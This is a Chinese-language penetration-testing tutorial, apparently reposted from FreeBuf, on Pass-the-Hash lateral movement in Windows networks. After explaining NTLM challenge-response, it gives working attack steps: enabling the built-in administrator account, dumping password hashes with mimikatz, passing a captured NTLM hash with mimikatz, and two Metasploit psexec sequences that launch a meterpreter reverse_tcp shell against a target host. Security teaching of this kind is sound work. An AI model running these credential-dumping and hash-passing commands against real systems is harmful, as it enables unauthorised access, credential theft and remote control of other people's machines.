内网渗透拿不到密码怎么办?试试Pass-The-Hash – 作者:mengmeng1

严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

前言

在进行内网渗透的过程中,会存在已经获取用户的NTLM 哈希值但是无法解开,获取不到密码的情况,这时就能够通过Pass-The-Hash来进行横向渗透。

Pass-The-Hash 原理

NTLM认证:

1. 用户输入user,pass,domain客户端会计算hash值保存至本地

2. 客户端将user明文发给DC

3. DC生成一个16Byte的随机数(challenge)发送给客户端

4. 客户端通过运算生成一个响应值respone=f(hash,challenge,other) (用hash加密challenge生成respone)other(时间戳等) respone(也可以说是加密后的challenge)

5. 客户端将respone发送给DC

6. DC通过同样的运算result=f(hashdc,challenge,other)(DC用本地的hashdc来加密challenge生成result)然后比较result和respone的值是否相等,相等则认证成功

通过wireshark抓包分析NTLM认证过程

negotiate_message: negotiate_message定义从客户端发送到服务器的NTLM协商消息,该消息允许客户端向服务器指定其支持的NTLM选项

challenge_message:从服务器发送到客户端的NTLM质询消息,服务器使用challege_message来挑战客户端以证明其身份,对于面向连接的请求,服务器生成的challenge_message响应客户端的negotiate_message

authenticate_message: authenticate_message定义在客户端处理challenge_message之后从客户端发送到服务器的NTLM身份验证消息

Type 1协商

这个过程是客户端向服务器发送type 1(协商)消息,它主要包含客户端支持和服务器请求的功能列表。

image

Type 2质询

这个过程是服务器用type 2消息(质询)进行响应,这包含服务器支持和同意的功能列表,以及生成的challege

image

Type 3 身份验证

这个过程客户端接收到challenge之后,使用用户hash与challenge进行加密运算得到response,将response,username,challenge等信息发给服务器。

image

从上面的认证过程可以看出,DC最终通过比较respone和result是否相等来判定认证是否成功,而我们通过mimikazt来获取到hash值,我们只要把获取到的hash值发给DC就可以通过认证。

Pass-The-Hash利用的几个前提条件

工作组环境下

Windows Vista之前的机器,可以使用本地管理员组内用户进行攻击 windows Vista之后的机器,只能是administrator用户才能进行攻击,其他用户会提示拒绝访问

域环境下

域内任意一台主机的本地管理员权限和域管理员密码的NTLM hash值,可进行pth攻击

由于Pass-The-Hash在win7的工作组环境下只支持在administrator用户的情况下才能利用,而windows默认是关闭这个用户的,现在我们来开启它。

net user administrator /active:yes

首先利用mimikatz(mimikatz需要管理员权限)读取到用户密码的hash值

命令:sekurlsa::logonPasswords

LM: ccf9155e3e7db453aad3b435b51404ee

NTLM:3dbde697d71690a769204beb12283678

image

利用mimikatz进行pth攻击

sekurlsa::pth /user:administrator /domain:172.16.1.199 /ntlm:3dbde697d71690a769204beb12283678

image

image

利用msf进行pth攻击

exploit/windows/smb/psexec
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set rhosts 172.16.1.199
set smbuser administrator
set smbpass ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678
run

image

expliot/windows/smb/psexec_psh
use exploit/windows/smb/psexec_psh
set payload windows/meterpreter/reverse_tcp
set rhosts 172.16.1.199
set smbuser administrator
set smbpass ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678
run

image

来源:freebuf.com 2021-04-26 12:50:12 by: mengmeng1

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论